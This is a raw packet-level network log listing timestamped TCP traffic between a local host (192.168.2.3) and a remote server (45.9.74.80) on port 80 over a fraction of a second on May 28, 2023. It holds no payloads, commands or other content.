May 28, 2023 10:42:56.351457119 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351504087 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351552010 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351598978 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351645947 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351645947 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.351645947 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.351645947 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.351692915 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351739883 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351785898 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351834059 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351880074 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351880074 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.351880074 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.351927042 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351974010 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352020025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352066040 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352092028 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352092028 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352113008 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352138042 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352159977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352206945 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352252960 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352322102 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352322102 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352335930 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352384090 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352432966 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352478981 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352509022 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352524042 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352535009 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352587938 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352634907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352683067 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352689981 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352727890 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352775097 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352823019 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352869987 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352916002 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.352929115 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352930069 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.352962971 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353010893 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353056908 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353104115 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353151083 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353197098 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353241920 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353287935 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353333950 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353333950 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353333950 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353333950 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353384018 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353393078 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353434086 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353480101 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353527069 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353571892 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353584051 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353584051 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353619099 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353646040 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353666067 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353713989 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353760004 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353780985 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353809118 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353856087 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353900909 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353946924 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.353995085 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353995085 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.353997946 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354044914 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354068041 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.354094028 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354137897 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354170084 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354202032 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354250908 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354298115 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354304075 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.354342937 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354365110 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.354389906 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354402065 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.354439020 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354487896 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354490042 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.354537010 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354583025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354629993 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354681969 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354727030 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354752064 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.354752064 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.354773045 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354819059 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354831934 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.354866982 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354914904 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.354962111 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355009079 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355055094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355056047 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355056047 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355057001 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355101109 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355148077 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355195045 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355236053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355236053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355236053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355242014 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355288982 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355334997 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355381966 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355431080 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355477095 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355521917 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355523109 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355521917 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355521917 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355567932 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355613947 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355660915 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355705976 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355752945 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355798006 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355844021 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.355844021 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355844021 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355844021 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.355909109 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.358618021 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.358618021 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381006002 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381078959 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381128073 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381145954 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381181002 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381222963 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381263018 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381262064 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381303072 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381344080 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381350994 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381382942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381422997 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381428957 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381469011 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381494999 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381508112 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381546974 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381588936 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381599903 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381628036 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381643057 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381668091 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381706953 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381746054 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381786108 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381823063 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381825924 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381825924 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381863117 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381921053 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381925106 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.381968021 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.381972075 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382015944 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382061958 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382095098 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382107973 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382153988 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382169008 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382199049 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382245064 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382289886 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382337093 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382381916 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382416010 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382416010 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382431030 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382477045 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382519960 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382519960 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382524014 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382569075 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382616043 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382663012 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382708073 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382714033 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382714033 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382755041 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382802010 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382848024 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382894993 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382904053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382904053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.382940054 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.382987022 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383039951 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383085966 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383131027 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383177042 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383183956 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383183956 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383223057 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383234978 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383270025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383315086 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383368015 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383375883 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383375883 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383416891 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383460999 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383471966 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383508921 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383558035 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383604050 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383650064 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383694887 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383697033 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383696079 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383743048 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383790016 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383835077 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383882046 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383920908 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383920908 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383920908 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.383928061 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.383975983 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384021997 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384056091 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.384068966 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384115934 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384161949 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384249926 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384252071 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.384252071 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.384322882 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384368896 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384372950 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.384419918 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384466887 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384515047 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384560108 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384568930 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.384568930 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.384605885 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384653091 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384697914 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384744883 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384790897 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384836912 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384843111 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.384844065 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.384844065 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.384882927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384928942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.384975910 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385023117 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385068893 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385093927 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385093927 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385093927 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385114908 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385162115 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385207891 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385252953 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385299921 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385346889 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385348082 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385348082 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385348082 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385400057 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385447979 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385493994 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385540009 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385585070 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385632038 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385632992 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385632992 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385632992 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385678053 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385725021 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385778904 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385791063 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385837078 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385843992 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385883093 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.385915041 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.385938883 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.386007071 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.389400959 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.392035007 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.411118031 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411180019 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411222935 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411251068 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.411267042 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411308050 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411345005 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.411349058 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411390066 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411432028 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411473036 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411511898 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411551952 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411592960 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411596060 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.411597013 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.411597013 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.411649942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411664009 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.411698103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411745071 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411791086 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411835909 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411859989 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.411859989 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.411883116 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411928892 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.411976099 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412008047 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412009001 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412023067 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412069082 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412116051 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412134886 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412164927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412210941 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412257910 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412323952 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412323952 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412338972 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412384033 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412435055 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412482977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412528992 CEST	80	49727	45.9.74.80	192.168.2.3
